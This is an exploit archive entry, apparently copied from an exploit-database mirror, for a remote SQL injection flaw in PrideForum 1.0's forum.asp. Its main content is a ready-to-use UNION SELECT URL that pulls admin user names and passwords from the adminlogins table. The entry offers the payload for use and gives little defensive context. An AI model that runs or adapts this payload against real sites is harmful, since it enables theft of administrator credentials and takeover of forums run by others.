[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : PrideForum 1.0 (forum.asp) Remote SQL Injection Vulnerability
# Published : 2006-05-27
# Author : ajann
# Previous Title : Hot Open Tickets <= 11012004 (CLASS_PATH) Remote Include Vuln
# Next Title : MiniNuke 2.x (create an admin) Remote SQL Injection Exploit
# Title : PrideForum 1.0 (forum.asp) Remote SQL Injection Vulnerability
# Author : ajann
# Exploit Example:
http://[target]/[path]/forum.asp?H_ID=1%20union+select+0,0,ID,J_User,0,0,0,J_Pass,ID,0+from+adminlogins+where+ID=1&Name=Allm%E4nt
# www.Syue.com [2006-05-27]